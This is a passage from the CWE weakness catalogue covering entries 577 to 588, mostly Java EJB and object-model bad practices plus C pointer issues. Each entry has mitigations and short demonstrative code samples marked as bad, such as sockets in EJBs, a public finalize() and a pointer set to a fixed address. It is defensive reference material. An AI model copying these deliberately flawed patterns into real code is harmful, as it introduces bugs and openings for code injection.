Software Fault Patterns	SFP3		Use of an improper API

CWE-577: EJB Bad Practices: Use of Sockets

Weakness ID : 577
Structure : Simple
Abstraction : Variant

Description

The product violates the Enterprise JavaBeans (EJB) specification by using sockets.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "An enterprise bean must not attempt to listen on a socket, accept connections on a socket, or use a socket for multicast." The specification justifies this requirement in the following way: "The EJB architecture allows an enterprise bean instance to be a network socket client, but it does not allow it to be a network server. Allowing the instance to become a network server would conflict with the basic function of the enterprise bean-- to serve the EJB clients."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	573	Improper Following of Specification by Caller	1307

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Do not use Sockets when writing EJBs.

Demonstrative Examples

Example 1:

The following Java example is a simple stateless Enterprise JavaBean that retrieves stock symbols and stock values. The Enterprise JavaBean creates a socket and listens for and accepts connections from clients on the socket.

Example Language: Java *(Bad)*

```java
@Stateless
public class StockSymbolBean implements StockSymbolRemote {
  ServerSocket serverSocket = null;
  Socket clientSocket = null;
  public StockSymbolBean() {
    try {
      serverSocket = new ServerSocket(Constants.SOCKET_PORT);
    } catch (IOException ex) {...}
    try {
      clientSocket = serverSocket.accept();
    } catch (IOException e) {...}
  }
  public String getStockSymbol(String name) {...}
  public BigDecimal getStockValue(String symbol) {...}
  private void processClientInputFromSocket() {...}
}
```

And the following Java example is similar to the previous example but demonstrates the use of multicast socket connections within an Enterprise JavaBean.

Example Language: Java *(Bad)*

```java
@Stateless
public class StockSymbolBean extends Thread implements StockSymbolRemote {
  ServerSocket serverSocket = null;
  Socket clientSocket = null;
  boolean listening = false;
  public StockSymbolBean() {
    try {
      serverSocket = new ServerSocket(Constants.SOCKET_PORT);
    } catch (IOException ex) {...}
    listening = true;
    while(listening) {
      start();
    }
  }
  public String getStockSymbol(String name) {...}
  public BigDecimal getStockValue(String symbol) {...}
  public void run() {
    try {
      clientSocket = serverSocket.accept();
    } catch (IOException e) {...}
    ...
  }
}
```

The previous two examples within any type of Enterprise JavaBean violate the EJB specification by attempting to listen on a socket, accepting connections on a socket, or using a socket for multicast.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2441
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP3		Use of an improper API

CWE-578: EJB Bad Practices: Use of Class Loader

Weakness ID : 578
Structure : Simple
Abstraction : Variant

Description

The product violates the Enterprise JavaBeans (EJB) specification by using the class loader.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "The enterprise bean must not attempt to create a class loader; obtain the current class loader; set the context class loader; set security manager; create a new security manager; stop the JVM; or change the input, output, and error streams." The specification justifies this requirement in the following way: "These functions are reserved for the EJB container. Allowing the enterprise bean to use these functions could compromise security and decrease the container's ability to properly manage the runtime environment."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	573	Improper Following of Specification by Caller	1307

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Other	Execute Unauthorized Code or Commands Varies by Context	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Do not use the Class Loader when writing EJBs.

Demonstrative Examples

Example 1:

The following Java example is a simple stateless Enterprise JavaBean that retrieves the interest rate for the number of points for a mortgage. The interest rates for various points are retrieved from an XML document on the local file system, and the EJB uses the Class Loader for the EJB class to obtain the XML document from the local file system as an input stream.

Example Language: Java *(Bad)*

```
@Stateless
public class InterestRateBean implements InterestRateRemote {
   private Document interestRateXMLDocument = null;
   public InterestRateBean() {
      try {
         // get XML document from the local filesystem as an input stream
         // using the ClassLoader for this class
         ClassLoader loader = this.getClass().getClassLoader();
         InputStream in = loader.getResourceAsStream(Constants.INTEREST_RATE_FILE);
   DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
      DocumentBuilder db = dbf.newDocumentBuilder();
      interestRateXMLDocument = db.parse(interestRateFile);
   } catch (IOException ex) {...}
}
   public BigDecimal getInterestRate(Integer points) {
      return getInterestRateFromXML(points);
   }
   /* member function to retrieve interest rate from XML document on the local file system */
   private BigDecimal getInterestRateFromXML(Integer points) {...}
}
```

This use of the Java Class Loader class within any kind of Enterprise JavaBean violates the restriction of the EJB specification against obtaining the current class loader as this could compromise the security of the application using the EJB.

Example 2:

An EJB is also restricted from creating a custom class loader and creating a class and instance of a class from the class loader, as shown in the following example.

Example Language: Java *(Bad)*

```
@Stateless
public class LoaderSessionBean implements LoaderSessionRemote {
   public LoaderSessionBean() {
      try {
         ClassLoader loader = new CustomClassLoader();
         Class c = loader.loadClass("someClass");
         Object obj = c.newInstance();
         /* perform some task that uses the new class instance member variables or functions */
         ...
      } catch (Exception ex) {...}
   }
   public class CustomClassLoader extends ClassLoader {
   }
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2441
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP3		Use of an improper API

CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session

Weakness ID : 579
Structure : Simple
Abstraction : Variant

Description

The product stores a non-serializable object as an HttpSession attribute, which can hurt reliability.

Extended Description

A J2EE application can make use of multiple JVMs in order to improve application reliability and performance. In order to make the multiple JVMs appear as a single application to the end user, the J2EE container can replicate an HttpSession object across multiple JVMs so that if one JVM becomes unavailable another can step in and take its place without disrupting the flow of the application. This is only possible if all session data is serializable, allowing the session to be duplicated between the JVMs.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	573	Improper Following of Specification by Caller	1307

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1018	Manage User Sessions	2453

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

In order for session replication to work, the values the product stores as attributes in the session must implement the Serializable interface.

Demonstrative Examples

Example 1:

The following class adds itself to the session, but because it is not serializable, the session can no longer be replicated.

Example Language: Java *(Bad)*

```
public class DataGlob {
  String globName;
  String globValue;
  public void addToSession(HttpSession session) {
    session.setAttribute("glob", this);
  }
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2440
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2512
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP1		Glitch in computation

CWE-580: clone() Method Without super.clone()

Weakness ID : 580
Structure : Simple
Abstraction : Variant

Description

The product contains a clone() method that does not call super.clone() to obtain the new object.

Extended Description

All implementations of clone() should obtain the new object by calling super.clone(). If a class does not follow this convention, a subclass's clone() method will return an object of the wrong type.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	573	Improper Following of Specification by Caller	1307
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1463

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	265	Privilege Issues	2338

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Unexpected State Quality Degradation	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Call super.clone() within your clone() method, when obtaining a new object.

Phase: Implementation

In some cases, you can eliminate the clone method altogether and use copy constructors.

Demonstrative Examples

Example 1:

The following two classes demonstrate a bug introduced by not calling super.clone(). Because of the way Kibitzer implements clone(), FancyKibitzer's clone method will return an object of type Kibitzer instead of FancyKibitzer.

Example Language: Java *(Bad)*

```
public class Kibitzer {
  public Object clone() throws CloneNotSupportedException {
    Object returnMe = new Kibitzer();
    ...
  }
}
public class FancyKibitzer extends Kibitzer{
  public Object clone() throws CloneNotSupportedException {
    Object returnMe = super.clone();
    ...
  }
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	2442
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP28		Unexpected access points

CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined

Weakness ID : 581
Structure : Simple
Abstraction : Variant

Description

The product does not maintain equal hashcodes for equal objects.

Extended Description

Java objects are expected to obey a number of invariants related to equality. One of these invariants is that equal objects must have equal hashcodes. In other words, if a.equals(b) == true then a.hashCode() == b.hashCode().

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1538
ChildOf	C	573	Improper Following of Specification by Caller	1307

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2443

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Other *If this invariant is not upheld, it is likely to cause trouble if objects of this class are stored in a collection. If the objects*	

Scope	Impact	Likelihood
	of the class in question are used as a key in a Hashtable or if they are inserted into a Map or Set, it is critical that equal objects have equal hashcodes.	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Both Equals() and Hashcode() should be defined.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	2385
MemberOf	C	977	SFP Secondary Cluster: Design	888	2428
MemberOf	C	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	2468
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MET09-J		Classes that define an equals() method must also define a hashCode() method

CWE-582: Array Declared Public, Final, and Static

Weakness ID : 582
Structure : Simple
Abstraction : Variant

Description

The product declares an array public, final, and static, which is not sufficient to prevent the array's contents from being modified.

Extended Description

Because arrays are mutable objects, the final constraint requires that the array object itself be assigned only once, but makes no guarantees about the values of the array elements. Since the array is public, a malicious program can change the values stored in the array. As such, in most cases an array declared public, final and static is a bug.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1478

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Background Details

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your product is running.

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	

Potential Mitigations

Phase: Implementation

In most situations the array should be made private.

Demonstrative Examples

Example 1:

The following Java Applet code mistakenly declares an array public, final and static.

Example Language: Java *(Bad)*

```
public final class urlTool extends Applet {
  public final static URL[] urls;
  ...
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	2385
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	2442
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2549

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ10-J		Do not use public static nonfinal variables
Software Fault Patterns	SFP28		Unexpected Access Points

CWE-583: finalize() Method Declared Public

Weakness ID : 583
Structure : Simple
Abstraction : Variant

Description

The product violates secure coding principles for mobile code by declaring a finalize() method public.

Extended Description

A product should never call finalize explicitly, except to call super.finalize() inside an implementation of finalize(). In mobile code situations, the otherwise error prone practice of manual garbage collection can become a security threat if an attacker can maliciously invoke a finalize() method because it is declared with public access.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1478

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Alter Execution Logic Execute Unauthorized Code or Commands Modify Application Data	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

If you are using finalize() as it was designed, there is no reason to declare finalize() with anything other than protected access.

Demonstrative Examples

Example 1:

The following Java Applet code mistakenly declares a public finalize() method.

Example Language: Java *(Bad)*

```
public final class urlTool extends Applet {
  public void finalize() {
    ...
  }
  ...
}
```

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your product is running.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	2385
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	2442
MemberOf	C	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	2468
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2549

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MET12-J		Do not use finalizers
Software Fault Patterns	SFP28		Unexpected access points

CWE-584: Return Inside Finally Block

Weakness ID : 584
Structure : Simple
Abstraction : Base

Description

The code has a return statement inside a finally block, which will cause any thrown exception in the try block to be discarded.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	705	Incorrect Control Flow Scoping	1550

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	2344

Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Do not use a return statement inside the finally block. The finally block should have "cleanup" code.

Demonstrative Examples

Example 1:

In the following code excerpt, the IllegalArgumentException will never be delivered to the caller. The finally block will cause the exception to be discarded.

Example Language: Java *(Bad)*

```
try {
  ...
  throw IllegalArgumentException();
}
finally {
  return r;
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	2386

Nature	Type	ID	Name	V	Page
MemberOf	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	2420
MemberOf	C	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	1133	2469
MemberOf	C	1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2557

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	ERR04-J		Do not complete abruptly from a finally block
The CERT Oracle Secure Coding Standard for Java (2011)	ERR05-J		Do not let checked exceptions escape from a finally block
Software Fault Patterns	SFP6		Incorrect Exception Behavior

CWE-585: Empty Synchronized Block

Weakness ID : 585
Structure : Simple
Abstraction : Variant

Description

The product contains an empty synchronized block.

Extended Description

An empty synchronized block does not actually accomplish any synchronization and may indicate a troubled section of code. An empty synchronized block can occur because code no longer needed within the synchronized block is commented out without removing the synchronized block.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1071	Empty Code Block	1919

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Other *An empty synchronized block will wait until nobody else is using the synchronizer being specified. While this may be part of the desired behavior, because you haven't protected the subsequent code by placing it inside the*	

Scope	Impact	Likelihood
	synchronized block, nothing is stopping somebody else from modifying whatever it was you were waiting for while you run the subsequent code.	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

When you come across an empty synchronized statement, or a synchronized statement in which the code has been commented out, try to determine what the original intentions were and whether or not the synchronized block is still necessary.

Demonstrative Examples

Example 1:

The following code attempts to synchronize on an object, but does not execute anything in the synchronized block. This does not actually accomplish anything and may be a sign that a programmer is wrestling with synchronization but has not yet achieved the result they intend.

Example Language: Java *(Bad)*

```
synchronized(this) { }
```

Instead, in a correct usage, the synchronized statement should contain procedures that access or modify data that is exposed to multiple threads. For example, consider a scenario in which several threads are accessing student records at the same time. The method which sets the student ID to a new value will need to make sure that nobody else is accessing this data at the same time and will require synchronization.

Example Language: *(Good)*

```
public void setID(int ID){
  synchronized(this){
    this.ID = ID;
  }
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	987	SFP Secondary Cluster: Multiple Locks/Unlocks	888	2433
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP21		Multiple locks/unlocks

References

[REF-478]"Intrinsic Locks and Synchronization (in Java)". < https://docs.oracle.com/javase/tutorial/essential/concurrency/locksync.html >.2023-04-07.

CWE-586: Explicit Call to Finalize()

Weakness ID : 586
Structure : Simple
Abstraction : Base

Description

The product makes an explicit call to the finalize() method from outside the finalizer.

Extended Description

While the Java Language Specification allows an object's finalize() method to be called from outside the finalizer, doing so is usually a bad idea. For example, calling finalize() explicitly means that finalize() will be called more than once: the first time will be the explicit call and the last time will be the call that is made after the object is garbage collected.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1076	Insufficient Adherence to Expected Conventions	1925
PeerOf	C	675	Multiple Operations on Resource in Single-Operation Context	1496

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2443

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Unexpected State Quality Degradation	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Phase: Testing

Do not make explicit calls to finalize(). Use static analysis tools to spot such instances.

Demonstrative Examples

Example 1:

The following code fragment calls finalize() explicitly:

Example Language: Java *(Bad)*

```
// time to clean up
widget.finalize();
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	2385
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2441
MemberOf	C	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	2468
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MET12-J		Do not use finalizers
Software Fault Patterns	SFP3		Use of an improper API

CWE-587: Assignment of a Fixed Address to a Pointer

Weakness ID : 587
Structure : Simple
Abstraction : Variant

Description

The product sets a pointer to a specific address other than NULL or 0.

Extended Description

Using a fixed address is not portable, because that address will probably not be valid in all environments or platforms.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	344	Use of Invariant Value in Dynamically Changing Context	856
ChildOf	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1591

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	2349

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Language : Assembly *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *If one executes code at a known location, an attacker might be able to inject code there beforehand.*	
Availability	DoS: Crash, Exit, or Restart Reduce Maintainability Reduce Reliability *If the code is ported to another platform or environment, the pointer is likely to be invalid and cause a crash.*	
Confidentiality Integrity	Read Memory Modify Memory *The data at a known pointer location can be easily read or influenced by an attacker.*	

Potential Mitigations

Phase: Implementation

Never set a pointer to a fixed address.

Demonstrative Examples

Example 1:

This code assumes a particular function will always be found at a particular address. It assigns a pointer to that address and calls the function.

Example Language: C *(Bad)*

```
int (*pt2Function) (float, char, char)=0x08040000;
int result2 = (*pt2Function) (12, 'a', 'b');
// Here we can inject code to execute.
```

The same function may not always be found at the same memory address. This could lead to a crash, or an attacker may alter the memory at the expected address, leading to arbitrary code execution.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	2363
MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	2395
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2440
MemberOf	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	2477
MemberOf	C	1399	Comprehensive Categorization: Memory Safety	1400	2546

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	INT36-C	Imprecise	Converting a pointer to integer or integer to pointer
Software Fault Patterns	SFP1		Glitch in computation

CWE-588: Attempt to Access Child of a Non-structure Pointer

Weakness ID : 588
Structure : Simple
Abstraction : Variant

Description

Casting a non-structure type to a structure type and accessing a field can lead to memory access errors or data corruption.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1591
ChildOf	C	704	Incorrect Type Conversion or Cast	1547

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory *Adjacent variables in memory may be corrupted by assignments performed on fields after the cast.*	
